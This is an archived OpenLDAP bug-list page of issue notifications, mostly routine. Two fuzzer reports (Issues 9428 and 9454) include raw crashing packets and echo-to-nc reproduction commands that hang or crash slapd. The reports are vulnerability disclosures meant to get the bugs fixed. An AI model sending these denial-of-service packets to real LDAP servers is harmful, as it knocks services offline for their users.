openldap-bugs February 2021

openldap-bugs@openldap.org

1 participants
523 discussions

[Bug 9189] New: Add GSSAPI channel-bindings support
by openldap-its＠openldap.org 18 Feb '22

18 Feb '22

https://bugs.openldap.org/show_bug.cgi?id=9189 Bug ID: 9189 Summary: Add GSSAPI channel-bindings support Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: libraries Assignee: bugs(a)openldap.org Reporter: iboukris(a)gmail.com Target Milestone: --- Recently MS has announce they plan to enforce channel-bindings for LDAP over TLS (ADV190023). To support it on client side, we need to pass "tls-endpoint" bindings (RFC 5929) to the SASL plugin, and make use of that in GSSAPI. See also: https://github.com/cyrusimap/cyrus-sasl/pull/601 -- You are receiving this mail because: You are on the CC list for the bug.

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[Issue 9350] New: Expand test suite for null base
by openldap-its＠openldap.org 31 Jan '22

31 Jan '22

https://bugs.openldap.org/show_bug.cgi?id=9350 Issue ID: 9350 Summary: Expand test suite for null base Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: build Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Currently we have no tests that use the empty suffix (null base). This is an entirely valid configuration setup, and there are unique challenges and bugs that crop up with this usage. We need to ensure we're covering this use case, particularly with syncrepl and delta-syncrepl configurations. -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9282] New: Syncrepl re-creates deleted entry
by openldap-its＠openldap.org 13 Dec '21

13 Dec '21

https://bugs.openldap.org/show_bug.cgi?id=9282 Issue ID: 9282 Summary: Syncrepl re-creates deleted entry Product: OpenLDAP Version: 2.4.50 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- Scenario: 2 node Multi-provider replication Add database to provider A ensure database replicates to provider B Stop provider A delete entry on provider B Start provider A Wait for provider B to reconnect to provider A Deleted entry re-appears -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9463] New: back-wt: cumulative fix
by openldap-its＠openldap.org 11 Oct '21

11 Oct '21

https://bugs.openldap.org/show_bug.cgi?id=9463 Issue ID: 9463 Summary: back-wt: cumulative fix Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: backends Assignee: bugs(a)openldap.org Reporter: hamano(a)osstech.co.jp Target Milestone: --- Hi, This is cumulative fix for back-wt. I'm sorry to making 2.5 patch has been delayed due to we're still using 2.4. -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9464] New: Test suite file conf.sh tries to sed unused items
by openldap-its＠openldap.org 15 Sep '21

15 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9464 Issue ID: 9464 Summary: Test suite file conf.sh tries to sed unused items Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- The conf.sh script tries to sed values that are not meant for replacement but instead are environment variables handled by run.in and defines.sh. This should be deleted from conf.sh -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9428 Issue ID: 9428 Summary: DoS due to infinite packet processing in slapd Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Processing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9454] New: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9454 Issue ID: 9454 Summary: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- A malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at connection.c:1163 #14 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xb) at connection.c:1314 #15 0x00005555556711e4 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #16 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 --Type <RET> for more, q to quit, c to continue without paging-- #17 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: 1. Launch openldap (Current public repo) docker run -it --net=host bitnami/openldap (More recent develop) docker run -it --net=host phasip/openldap 2. Send crashing packet echo -en '\x30\x82\x01\x6a\x02\x01\x30\x63\x30\xdf\xdf\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\xa0\x82\x01\x30\x30\x00\x30\x09\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x2e\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\xa9\x30\x81\x09\x32\x2e\x35\x2e\x31\x33\x2e\x33\x38\x83\x2e\x7b\x20\x20\x20\x20\x74\x68\x69\x73\x55\x70\x64\x61\x74\x65\x20\x20\x20\x20\x20\x22\x22\x20\x2c\x69\x73\x73\x75\x45\x72\x20\x72\x64\x6e\x53\x65\x71\x75\x65\x6e\x63\x65\x3a\x22\x22\x7d\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | nc localhost 1389 -- Note -- I had forgotten the fuzzer was running. As only one crash has been found in a while the fuzzing machine will retire now. I will collect the corpus into https://github.com/Phasip/openldap_fuzz -- You are receiving this mail because: You are on the CC list for the issue.

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[Issue 9443] New: Admin guide: Need section on lloadd and load balancer as slapd module
by openldap-its＠openldap.org 18 Aug '21

18 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9443 Issue ID: 9443 Summary: Admin guide: Need section on lloadd and load balancer as slapd module Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: blocker Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- The admin guide currently has no documentation on the new lloadd daemon or the ability to set up the load balancer as a module inside of slapd. This is a release requirement. -- You are receiving this mail because: You are on the CC list for the issue.

1 14

[Bug 9200] New: 2.4 to 2.5 upgrade documentation
by openldap-its＠openldap.org 16 Aug '21

16 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9200 Bug ID: 9200 Summary: 2.4 to 2.5 upgrade documentation Product: OpenLDAP Version: 2.5 Hardware: All OS: All Status: UNCONFIRMED Severity: blocker Priority: --- Component: documentation Assignee: bugs(a)openldap.org Reporter: quanah(a)openldap.org Target Milestone: --- For the 2.5 release, we need to document the upgrade procedures for moving from OpenLDAP 2.4 to OpenLDAP 2.5. -- You are receiving this mail because: You are on the CC list for the bug.

1 20

[Issue 9439] New: Error text on slave nodes
by openldap-its＠openldap.org 03 Aug '21

03 Aug '21

https://bugs.openldap.org/show_bug.cgi?id=9439 Issue ID: 9439 Summary: Error text on slave nodes Product: OpenLDAP Version: 2.4.44 Hardware: x86_64 OS: Linux Status: UNCONFIRMED Severity: normal Priority: --- Component: overlays Assignee: bugs(a)openldap.org Reporter: tune_up(a)mail.ru Target Milestone: --- In the master slave configuration, the received slaves do not receive error message texts after processing the request on the master node. Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 PROXYAUTHZ dn="uid=e1b7590b-84a4-4963-95b0-4c984a2f60fc,ou=client,dc=domain,dc=local" Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 MOD dn="uid=e1b7590b-84a4-4963-95b0-4c984a2f60fc,ou=client,dc=domain,dc=local" Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 MOD attr=telephoneNumber Jan 15 17:55:30 master slapd[406]: conn=1160 op=13 RESULT tag=103 err=19 text=some attributes not unique Jan 15 17:55:30 slave slapd[31094]: conn=1006 op=33 MOD dn="uid=e1b7590b-84a4-4963-95b0-4c984a2f60fc,ou=client,dc=domain,dc=local" Jan 15 17:55:30 slave slapd[31094]: conn=1006 op=33 MOD attr=telephoneNumber Jan 15 17:55:30 slave slapd[31094]: conn=1006 op=33 RESULT tag=103 err=19 text= -- You are receiving this mail because: You are on the CC list for the issue.

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openldap-bugs February 2021